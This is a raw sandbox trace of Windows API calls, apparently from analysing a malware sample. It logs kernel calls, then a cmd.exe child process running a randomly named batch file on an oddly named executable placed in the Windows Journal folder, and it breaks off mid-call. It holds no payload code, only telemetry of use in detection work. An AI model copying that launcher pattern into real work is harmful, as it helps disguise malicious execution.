Object=0xfffff88004f09548*=0xfffffa800250fd10, HandleInformation=0x0) returned 0x0 [0106.533] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.533] PsReleaseProcessExitSynchronization () returned 0x2 [0106.534] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x1e [0106.534] ObQueryNameString (in: Object=0xfffffa800250fd10, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.534] ObfDereferenceObject (Object=0xfffffa800250fd10) returned 0x1 [0106.534] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.534] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x1000) returned 0x1c0b20 [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.534] GetLastError () returned 0x57 [0106.534] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.535] GetLastError () returned 0x57 [0106.535] SetLastError (dwErrCode=0x57) [0106.536] GetLastError () returned 0x57 [0106.536] SetLastError (dwErrCode=0x57) [0106.536] GetLastError () returned 0x57 [0106.536] SetLastError (dwErrCode=0x57) [0106.536] GetLastError () returned 0x57 [0106.536] SetLastError (dwErrCode=0x57) [0106.536] GetLastError () returned 0x57 [0106.536] SetLastError (dwErrCode=0x57) [0106.536] GetLastError () returned 0x57 [0106.536] SetLastError (dwErrCode=0x57) [0106.536] GetLastError () returned 0x57 [0106.536] SetLastError (dwErrCode=0x57) [0106.536] GetVersion () returned 0x1db10106 [0106.536] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0106.536] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4, lpConsoleScreenBufferInfo=0x12fec0 | out: lpConsoleScreenBufferInfo=0x12fec0) returned 0 [0106.692] WriteFile (in: hFile=0x4, lpBuffer=0x12e900*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x12e220, lpOverlapped=0x0 | out: lpBuffer=0x12e900*, lpNumberOfBytesWritten=0x12e220*=0x1d, lpOverlapped=0x0) returned 1 [0106.694] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a0080 | out: hHeap=0x180000) returned 1 [0106.694] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12feb8 | out: phModule=0x12feb8) returned 0 [0106.694] RtlExitUserProcess (ExitCode=0x1) [0106.695] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19f050 | out: hHeap=0x180000) returned 1 [0106.716] IofCompleteRequest (Irp=0xfffffa8001f08010, PriorityBoost=0) Thread: id = 766 os_tid = 0xe54 Process: id = "188" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x1842000" os_pid = "0xe4c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 764 os_tid = 0xe50 [0103.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20feac | out: lpSystemTimeAsFileTime=0x20feac*(dwLowDateTime=0xe16e4260, dwHighDateTime=0x1d5d06a)) [0103.971] GetCurrentProcessId () returned 0xe4c [0103.971] GetCurrentThreadId () returned 0xe50 [0103.971] GetTickCount () returned 0x1161b1f [0103.971] QueryPerformanceCounter (in: lpPerformanceCount=0x20fea4 | out: lpPerformanceCount=0x20fea4*=24592364556) returned 1 [0103.972] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0103.972] __set_app_type (_Type=0x1) [0103.972] __p__fmode () returned 0x76be31f4 [0103.972] __p__commode () returned 0x76be31fc [0103.972] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0103.972] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0103.973] GetCurrentThreadId () returned 0xe50 [0103.973] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe50) returned 0x60 [0103.973] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0103.973] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0103.973] SetThreadUILanguage (LangId=0x0) returned 0x409 [0103.973] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0103.973] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x20fe3c | out: phkResult=0x20fe3c*=0x0) returned 0x2 [0103.973] VirtualQuery (in: lpAddress=0x20fe73, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x20f000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0103.973] VirtualQuery (in: lpAddress=0x110000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x110000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0103.973] VirtualQuery (in: lpAddress=0x111000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x111000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0103.973] VirtualQuery (in: lpAddress=0x113000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x113000, AllocationBase=0x110000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0103.974] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x20fe0c, dwLength=0x1c | out: lpBuffer=0x20fe0c*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0103.974] GetConsoleOutputCP () returned 0x1b5 [0103.974] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0103.974] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0103.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.974] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0103.974] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.975] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0103.975] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.975] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0103.975] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.975] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0103.975] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.975] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0103.976] GetEnvironmentStringsW () returned 0x622120* [0103.976] GetProcessHeap () returned 0x610000 [0103.976] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xaca) returned 0x622bf8 [0103.976] FreeEnvironmentStringsW (penv=0x622120) returned 1 [0103.976] GetProcessHeap () returned 0x610000 [0103.976] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4) returned 0x6218c0 [0103.976] GetEnvironmentStringsW () returned 0x622120* [0103.976] GetProcessHeap () returned 0x610000 [0103.976] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xaca) returned 0x6236d0 [0103.976] FreeEnvironmentStringsW (penv=0x622120) returned 1 [0103.976] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20edac | out: phkResult=0x20edac*=0x68) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x0, lpcbData=0x20edb0*=0x1000) returned 0x2 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x1000) returned 0x2 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x0, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x1000) returned 0x2 [0103.977] RegCloseKey (hKey=0x68) returned 0x0 [0103.977] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x20edac | out: phkResult=0x20edac*=0x68) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x40, lpcbData=0x20edb0*=0x1000) returned 0x2 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x1, lpcbData=0x20edb0*=0x1000) returned 0x2 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x0, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x9, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x4, lpData=0x20edb8*=0x9, lpcbData=0x20edb0*=0x4) returned 0x0 [0103.977] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x20edb4, lpData=0x20edb8, lpcbData=0x20edb0*=0x1000 | out: lpType=0x20edb4*=0x0, lpData=0x20edb8*=0x9, lpcbData=0x20edb0*=0x1000) returned 0x2 [0103.977] RegCloseKey (hKey=0x68) returned 0x0 [0103.977] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710fa [0103.978] srand (_Seed=0x5e2710fa) [0103.978] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"\"" [0103.978] GetCommandLineW () returned="cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\"\"" [0103.978] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.978] GetProcessHeap () returned 0x610000 [0103.978] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x210) returned 0x622120 [0103.978] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x622128, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0103.979] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0103.979] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.979] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.979] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0103.979] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0103.979] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0103.979] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0103.979] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0103.979] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0103.979] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0103.979] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0103.979] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0103.979] GetProcessHeap () returned 0x610000 [0103.979] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x622bf8 | out: hHeap=0x610000) returned 1 [0103.979] GetEnvironmentStringsW () returned 0x622338* [0103.979] GetProcessHeap () returned 0x610000 [0103.979] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xae2) returned 0x624c98 [0103.979] FreeEnvironmentStringsW (penv=0x622338) returned 1 [0103.979] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.980] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.980] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0103.980] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0103.980] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0103.980] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0103.980] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0103.980] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0103.980] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0103.980] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0103.980] GetProcessHeap () returned 0x610000 [0103.980] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x54) returned 0x6217f0 [0103.980] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x20fb78 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x20fb78, lpFilePart=0x20fb74 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20fb74*="Desktop") returned 0x25 [0103.980] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0103.980] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x20f8f4 | out: lpFindFileData=0x20f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x625788 [0103.980] FindClose (in: hFindFile=0x625788 | out: hFindFile=0x625788) returned 1 [0103.980] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x20f8f4 | out: lpFindFileData=0x20f8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x625788 [0103.980] FindClose (in: hFindFile=0x625788 | out: hFindFile=0x625788) returned 1 [0103.980] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0103.981] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x20f8f4 | out: lpFindFileData=0x20f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x625788 [0103.981] FindClose (in: hFindFile=0x625788 | out: hFindFile=0x625788) returned 1 [0103.981] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0103.981] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0103.981] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0103.981] GetProcessHeap () returned 0x610000 [0103.981] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624c98 | out: hHeap=0x610000) returned 1 [0103.981] GetEnvironmentStringsW () returned 0x6241a8* [0103.981] GetProcessHeap () returned 0x610000 [0103.981] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xb36) returned 0x625fc8 [0103.981] FreeEnvironmentStringsW (penv=0x6241a8) returned 1 [0103.981] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0103.981] GetProcessHeap () returned 0x610000 [0103.981] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6217f0 | out: hHeap=0x610000) returned 1 [0103.981] GetProcessHeap () returned 0x610000 [0103.982] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400e) returned 0x626b08 [0103.982] GetProcessHeap () returned 0x610000 [0103.982] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x102) returned 0x622e78 [0103.982] GetProcessHeap () returned 0x610000 [0103.982] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4008) returned 0x62ab20 [0103.982] GetProcessHeap () returned 0x610000 [0103.982] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x4008) returned 0x62eb30 [0103.983] GetProcessHeap () returned 0x610000 [0103.983] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626b08 | out: hHeap=0x610000) returned 1 [0103.983] GetConsoleOutputCP () returned 0x1b5 [0103.983] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0103.983] GetUserDefaultLCID () returned 0x409 [0103.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0103.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x20fcb8, cchData=128 | out: lpLCData="0") returned 2 [0103.984] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x20fcb8, cchData=128 | out: lpLCData="0") returned 2 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x20fcb8, cchData=128 | out: lpLCData="1") returned 2 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0103.985] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0103.985] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0103.987] GetProcessHeap () returned 0x610000 [0103.987] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x20c) returned 0x622f88 [0103.987] GetConsoleTitleW (in: lpConsoleTitle=0x622f88, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0104.164] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0104.164] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0104.164] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0104.164] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0104.164] GetProcessHeap () returned 0x610000 [0104.164] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x626b08 [0104.164] GetProcessHeap () returned 0x610000 [0104.164] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626b08 | out: hHeap=0x610000) returned 1 [0104.166] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0104.166] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0104.166] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0104.166] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0104.166] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0104.166] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0104.166] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0104.166] GetProcessHeap () returned 0x610000 [0104.166] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x58) returned 0x6231a0 [0104.166] GetProcessHeap () returned 0x610000 [0104.166] RtlAllocateHeap 